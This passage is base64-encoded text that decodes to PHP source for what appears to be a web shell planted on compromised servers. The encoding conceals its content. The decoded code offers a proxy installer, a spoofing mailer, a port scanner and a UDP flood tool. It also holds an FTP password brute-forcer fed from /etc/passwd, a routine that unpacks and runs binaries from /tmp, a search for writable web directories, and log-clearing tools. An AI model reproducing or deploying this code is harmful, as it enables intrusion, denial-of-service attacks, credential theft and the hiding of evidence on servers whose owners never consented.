+Ij4gKG11c3QgaGF2ZSBmaW5hbCAvKTxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5zdGFsbCI+PC9mb3JtPg0KPD9waHANCgkJaWYgKCRfR0VUWydpbnN0YWxsJ10gPT0gJ3l1cCcpIHsNCgkJCWlmIChpc193cml0YWJsZSgkX0dFVFsncGF0aCddKSkgew0KCQkJCWNmKCRfR0VUWydwYXRoJ10uJ3Byb3h5LnBocCcsICRwaHBwcm94eSk7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9Z3JlZW4+PGI+cHJveHkucGhwIHdhcyBjcmVhdGVkIGluICcuaHRtbGVudGl0aWVzKCRfR0VUWydwYXRoJ10pLic8L2I+PC9mb250Pic7DQoJCQkJY2htb2QoJF9HRVRbJ3BhdGgnXS4nL3Byb3h5LnBocCcsIDA3NzcpOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPjxiPkRpcmVjdG9yeSBpcyBub3Qgd3JpdGFibGUhPC9iPjxicj48L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KfQ0KDQoNCmlmICgkeCA9PSAncGhwdG9vbHMnKXsNCj8+PGNlbnRlcj48P3BocA0KLy9tYWlsZXINCmVjaG8gJzxiPk1haWxlcjwvYj48YnI+DQo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyIgbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InBocHRvb2xzIj4NCg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT1mcm9tIHZhbHVlPWZyb20+PGJyPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1YmplY3QgdmFsdWU9c3ViamVjdD48YnI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1TdWJtaXQ+PC9mb3JtPic7DQppZiAoaXNzZXQoJF9HRVRbJ3RvJ10pICYmIGlzc2V0KCRfR0VUWydmcm9tJ10pICYmIGlzc2V0KCRfR0VUWydzdWJqZWN0J10pICYmIGlzc2V0KCRfR0VUWydib2R5J10pKSB7DQoJJGhlYWRlcnMgPSAnRnJvbTogJy4kX0dFVFsnZnJvbSddOw0KCW1haWwgKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10sJF9HRVRbJ2JvZHknXSwkaGVhZGVycyk7DQoJZWNobyAnRW1haWwgc2VudC4nOw0KfQ0KDQovL3BvcnQgc2Nhbm5lcg0KZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+JzsNCiRzdGFydCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ3N0YXJ0J10pOw0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ2VuZCddKTsNCiRob3N0ID0gc3RyaXBfdGFncygkX0dFVFsnaG9zdCddKTsNCg0KaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX0dFVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9HRVRbJ3N0YXJ0J10pKXsNCmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KCSRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOw0KCWlmKCRmcCl7DQoJCWVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7DQoJfQ0KCWZsdXNoKCk7DQoJfQ0KfWVsc2V7DQo/Pg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJnZXQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InBocHRvb2xzIj4NCkhvc3Q6PGJyIC8+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPg0KUG9ydCBzdGFydDo8YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz4NClBvcnQgZW5kOjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPg0KPC9mb3JtPg0KPD9waHANCn0NCg0KLy9VRFANCmlmKGlzc2V0KCRfR0VUWydob3N0J10pJiZpc19udW1lcmljKCRfR0VUWyd0aW1lJ10pKXsNCgkkcGFraXRzID0gMDsNCglpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCglzZXRfdGltZV9saW1pdCgwKTsNCgkNCgkkZXhlY190aW1lID0gJF9HRVRbJ3RpbWUnXTsNCgkNCgkkdGltZSA9IHRpbWUoKTsNCgkvL3ByaW50ICJTdGFydGVkOiAiLnRpbWUoJ2g6aTpzJykuIjxicj4iOw0KCSRtYXhfdGltZSA9ICR0aW1lKyRleGVjX3RpbWU7DQoNCgkkaG9zdCA9ICRfR0VUWydob3N0J107DQoJDQoJZm9yKCRpPTA7JGk8NjUwMDA7JGkrKyl7DQoJCQkkb3V0IC49ICdYJzsNCgl9DQoJd2hpbGUoMSl7DQoJJHBha2l0cysrOw0KCQkJaWYodGltZSgpID4gJG1heF90aW1lKXsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQkkcmFuZCA9IHJhbmQoMSw2NTAwMCk7DQoJCQkkZnAgPSBmc29ja29wZW4oJ3VkcDovLycuJGhvc3QsICRyYW5kLCAkZXJybm8sICRlcnJzdHIsIDUpOw0KCQkJaWYoJGZwKXsNCgkJCQkJZndyaXRlKCRmcCwgJG91dCk7DQoJCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCX0NCgllY2hvICI8YnI+PGI+VURQIEZsb29kPC9iPjxicj5Db21wbGV0ZWQgd2l0aCAkcGFraXRzICgiIC4gcm91bmQoKCRwYWtpdHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gcm91bmQoJHBha2l0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kIFxuIjsNCgllY2hvICc8YnI+PGJyPg0KDQoJCTxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KCQlIb3N0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+DQoJCUxlbmd0aCAoc2Vjb25kcyk6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHZhbHVlPTk5OTk+DQoJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn1lbHNleyBlY2hvICc8YnI+PGI+VURQIEZsb29kPC9iPjxicj4NCgkJCTxmb3JtIGFjdGlvbj0/IG1ldGhvZD1HRVQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KDQoJCQlIb3N0OiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0Pjxicj4NCgkJCUxlbmd0aCAoc2Vjb25kcyk6IDxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5Pjxicj4NCgkJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn0NCj8+PC9jZW50ZXI+PD9waHANCn0NCg0KDQoNCmlmICgkeCA9PSAiZnRwcXVpY2ticnV0ZSIpIHsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlPjx0cj48dGQgY2xhc3M9YmFyaGVhZGVyIGNvbHNwYW49Mj4iOw0KZWNobyAiLjogRnRwIFF1aWNrIEJydXRlIDouPC90ZD48L3RyPiI7DQplY2hvICI8dHI+PHRkPiI7DQppZiAoJHdpbikge2VjaG8gIkNvdWxkbid0IHJ1biBvbiBXaW5kb3dzISI7fQ0KZWxzZSB7DQogIGZ1bmN0aW9uIGNhZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkgew0KICAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskVFJVRSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQ0KICAgIGVsc2UgeyRUUlVFID0gVFJVRTt9DQogICAgaWYgKCRUUlVFKSB7DQogICAgICAkc29jayA9IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7DQogICAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKSB7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsNCiAgICAgICAgb2JfZmx1c2goKTsNCiAgICAgICAgcmV0dXJuIFRSVUU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsNCiAgICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9DQogICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRmcWJfbG9nZ2luZykgew0KICAgICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30NCiAgICAgICAgZWxzZSB7JGZxYl9sb2dmcCA9IEZBTFNFO30NCiAgICAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlIChmeDApIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICB9DQogICAgICBvYl9mbHVzaCgpOw0KICAgICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgICAkZnRwcXVpY2tfc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgIHdoaWxlKCFmZW9mKCRmcCkpIHsNCiAgICAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLGZnZXRzKCRmcCwyMDQ4KSk7DQogICAgICAgIGlmIChjYWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKSB7DQogICAgICAgICAgZWNobyAiPGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIjwvYj48YnI+IjsNCiAgICAgICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsNCiAgICAgICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpID4gJGZxYl9sZW5naHQpIHticmVhazt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9DQogICAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOw0KICAgICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7DQogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgIGlmICgkZnFiX2xvZ2VtYWlsKSB7QG1haWwoJGZxYl9sb2dlbWFpbCwiZngwIHJlcG9ydCIsJGZxYl9sb2cpO30NCiAgICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsNCiAgICB9DQogIH0NCiAgZWxzZSB7DQogICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImNhX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsNCiAgICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbG9nZmlsZSk7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cImZ0cHF1aWNrYnJ1dGVcIj4iLg0KICAgICAgICAgIlJlYWQgZmlyc3Q6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPVwiZnFiX2xlbmdodFwiIHZhbHVlPVwiIi4kbml4cHdkcGVycGFnZS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+IFVzZXJzIG9ubHkgd2l0aCBzaGVsbDwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+TG9nZ2luZzwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+TG9nZ2luZyB0byBmaWxlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmlsZVwiIHZhbHVlPVwiIi4kbG9nZmlsZS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZmlsZSkrMiooc3RybGVuKCRsb2dmaWxlKS8xMCkpLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPkxvZ2dpbmcgdG8gZS1tYWlsOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQgY29sc3Bhbj0yPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlXCI+PC9mb3JtPiI7DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn0NCn0NCmlmICgkeCA9PSAiZCIpIHsNCmlmICghaXNfZGlyKCRkKSkgeyBlY2hvICI8Y2VudGVyPjxiPiRkIGlzIGEgbm90IGEgRGlyZWN0b3J5ITwvYj48L2NlbnRlcj4iOyB9DQplbHNlIHsNCiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7DQogIGlmICghJHdpbikgew0KICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOw0KICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsNCiAgfQ0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCn0NCg0KDQoNCmlmICgkeCA9PSAncHJveHknKSB7DQogaWYgKCRfR0VUWydpcGlzayddID09ICd5dXAnKSB7DQogICBjZigiL3RtcC9oYW50dS50Z3oiLCRwcm94eV9zaGl0KTsNCiAgIGV4KCJjZCAvdG1wO3RhciAtenh2ZiBoYW50dS50Z3oiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjtjaG1vZCA3NzcgeGgiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjtjaG1vZCA3NzcgaHR0cGQiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjsuL3hoIC1zIFtrbW9kXSAuL2h0dHBkIHN0YXJ0Iik7DQogICBjaGVja3Byb3h5aG9zdCgpOw0KICAgJG1zZyA9ICRfUE9TVFsncHJveHlob3N0bXNnJ107DQogICBlY2hvKCIkbXNnIik7DQogICB1bmxpbmsoIi90bXAvaGFudHUudGd6Iik7DQogICBleCgiY2QgL3RtcDsgcm0gLXIgLnNldGFuIik7DQogfWVsc2UNCiAgZWNobyAnPGNlbnRlcj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gaW5zdGFsbCBhbiBJUDpQb3J0IHByb3h5IG9uIHRoaXMgd2Vic2l0ZS9zZXJ2ZXI/PGJyIC8+UGxlYXNlIG5vdGUsIHNvbWUgc2VydmVycyB3aXRoIGZpcmV3YWxscyBvciBvdGhlciBzZWN1cml0eSBmZWF0dXJlcyBtYXkgbm90IGJlIGNvbXBhdGlibGUgd2l0aCB0aGlzLCBldmVuIGlmIHRoZSBwcm94eSBhcHBlYXJzIHRvIGJlIGluc3RhbGxlZC48YnIgLz48YnIgLz48Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPSInLiRzdXJsLicmeD1wcm94eSZpcGlzaz15dXAiPlllczwvYT48L2ZvbnQ+PC9iPiB8fCA8Yj48Zm9udCBjb2xvcj1yZWQ+PGEgaHJlZj0iJy4kc3VybC4nIj5ObzwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPic7DQp9DQoNCg0KDQppZiAoJHggPT0gJ2ZpbmR3cicpIHsNCg0KJGNvdW50PTA7DQpzZXRfdGltZV9saW1pdCgwKTsNCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCmlmICghJHBhc3N3ZCkgew0KICAgZWNobyAiWy1dIE5vIEFjY2VzcyB0byAvZXRjL3Bhc3N3ZFxuXHIiOw0KICAgZXhpdDsNCn0NCiRwYXRoX3RvX3B1YmxpYz1hcnJheSgpOw0KDQplY2hvICI8aHRtbD5cblxyIjsNCg0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsNCiAgJHN0cj1mZ2V0cygkcGFzc3dkKTsNCiAgICAkcG9zPXN0cnBvcygkc3RyLCI6Iik7DQogICAgJHVzZXJuYW1lPXN1YnN0cigkc3RyLDAsJHBvcyk7DQogICAgJGRpcno9Ii9ob21lLyR1c2VybmFtZS9wdWJsaWNfaHRtbC8iOw0KICAgIGlmICgoJHVzZXJuYW1lIT0iIikpIHsNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgew0KICAgICAgICAgYXJyYXlfcHVzaCgkcGF0aF90b19wdWJsaWMsJGRpcnopOw0KICAgICAgICAgaWYgKGlzX3dyaXRlYWJsZSgkZGlyeikpIHsNCiAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPls8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+UjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj5XPC9mb250Pjxmb250IGNvbG9yPXJlZD5dPC9mb250PiAiIC4gJGRpcnogLiAiPGJyPlxuXHIiOw0KICAgICAgICAgfQ0KICAgICAgICAgZWxzZSBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+WzwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT5SPC9mb250Pjxmb250IGNvbG9yPXJlZD5dPC9mb250PiAiIC4gJGRpcnogLiAiPGJyPlxuXHIiOw0KICAgICAgICB9DQogICAgfQ0KfQ0KZWNobyAiWytdIEZvdW5kICIgLiBzaXplb2YoJHBhdGhfdG9fcHVibGljKSAuICIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXMuPGJyPjxicj5cblxyXG5cciI7DQoNCmlmIChzaXplb2YoJHBhdGhfdG9fcHVibGljKSAhPSAnMCcpIHsNCiAgIGZvcmVhY2ggKCRwYXRoX3RvX3B1YmxpYyBhcyAkcGF0aCkgew0KICAgICAgICAgICByZWFkX2RpcigkcGF0aCk7DQogICB9DQogICANCiAgIGVjaG8gIlsrXSBGb3VuZCAiIC4gJGNvdW50IC4gIiB3cml0YWJsZSBkaXJlY3Rvcmllcy5cblxyIjsNCiAgIGVjaG8gIjwvaHRtbD4iOw0KfQ0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCkgew0KICAgZ2xvYmFsICRjb3VudDsNCiAgIGlmICgkaGFuZGxlID0gb3BlbmRpcigkcGF0aCkpIHsNCiAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgICRkcj0iJHBhdGgkZmlsZS8iOw0KICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSBhbmQgaXNfZGlyKCRkcikpIHsNCiAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZHIpIGFuZCBpc193cml0ZWFibGUoJGRyKSkgew0KICAgICAgICAgICAgICAgZWNobyAiW1JXXSAiIC4gJGRyIC4gIjxicj5cblxyIjsNCiAgICAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmVhZF9kaXIoJGRyKTsNCiAgICAgICAgIH0NCiAgICAgIH0NCiAgIH0NCn0NCg0KDQoNCn0NCg0KDQppZiAoJGFjdCA9PSAnemFwMicpIHsgLy8gKm5peCBjbGVhbmVyDQoJaWYgKGlzX3dyaXRhYmxlKCcuJykpIHsNCgkJY2YoJGFjdCwgJCRhY3QpOyAvLyAndGlzIHB1cmUgaW5ub3ZhdGlvbiBvZiBvcHRpbWl6YXRpb24gOikNCgkJY2htb2QoJGFjdCwgMDc3Nyk7DQoJCSRjbWQgPSAnLi8nLiRhY3Q7IC8vIGtlZXAgdGhpcyBiZWZvcmUgJGFjdCA9ICdjbWQnOw0KCQkkYWN0ID0gJ2NtZCc7DQoJCSRjbWRfdHh0ID0gJzEnOw0KCX1lbHNlew0KCQllY2hvICdEaXJlY3RvcnkgSXMgTm90IFdyaXRhYmxlITxicj4nOw0KCX0NCn0NCmlmICgkYWN0ID09ICdjbGVhcmxvZ3MnKSB7IC8vIHdpbmRvd3MgY2xlYW5lcnMNCglpZiAoaXNfd3JpdGFibGUoJy4nKSkgew0KCQljZigkYWN0LicuZXhlJywgJCRhY3QpOw0KCQljaG1vZCgkYWN0LicuZXhlJywgMDc3Nyk7DQoJCSRjbWQgPSAkYWN0LicuZXhlJzsNCgkJJGFjdCA9ICdjbWQnOw0KCQkkY21kX3R4dCA9ICcxJzsNCgl9ZWxzZXsNCgkJZWNobyAnRGlyZWN0b3J5IElzIE5vdCBXcml0YWJsZSE8YnI+JzsNCgl9DQp9DQoNCmlmICgkeCA9PSAicGhwaW5mbyIpIHtAb2JfY2xlYW4oKTsgcGhwaW5mbygpOyBjYXByaXY4ZXhpdCgpO30NCmlmICgkeCA9PSAic2VjdXJpdHkiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFNlcnZlciBTZWN1cml0eSBJbmZvcm1hdGlvbiA6LjwvZGl2PiIuDQogICAgICAgIjx0YWJsZT4iLg0KICAgICAgICI8dHI+PHRkPk9wZW4gQmFzZSBEaXI8L3RkPjx0ZD4iLiRob3BlbmJhc2VkaXIuIjwvdGQ+PC90cj4iOw0KICBlY2hvICI8dGQ+UGFzc3dvcmQgRmlsZTwvdGQ+PHRkPiI7DQogIGlmICghJHdpbikgew0KICAgIGlmICgkbml4cGFzc3dkKSB7DQogICAgICBpZiAoJG5peHBhc3N3ZCA9PSAxKSB7JG5peHBhc3N3ZCA9IDA7fQ0KICAgICAgZWNobyAiKm5peCAvZXRjL3Bhc3N3ZDo8YnI+IjsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9DQogICAgICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30NCiAgICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4m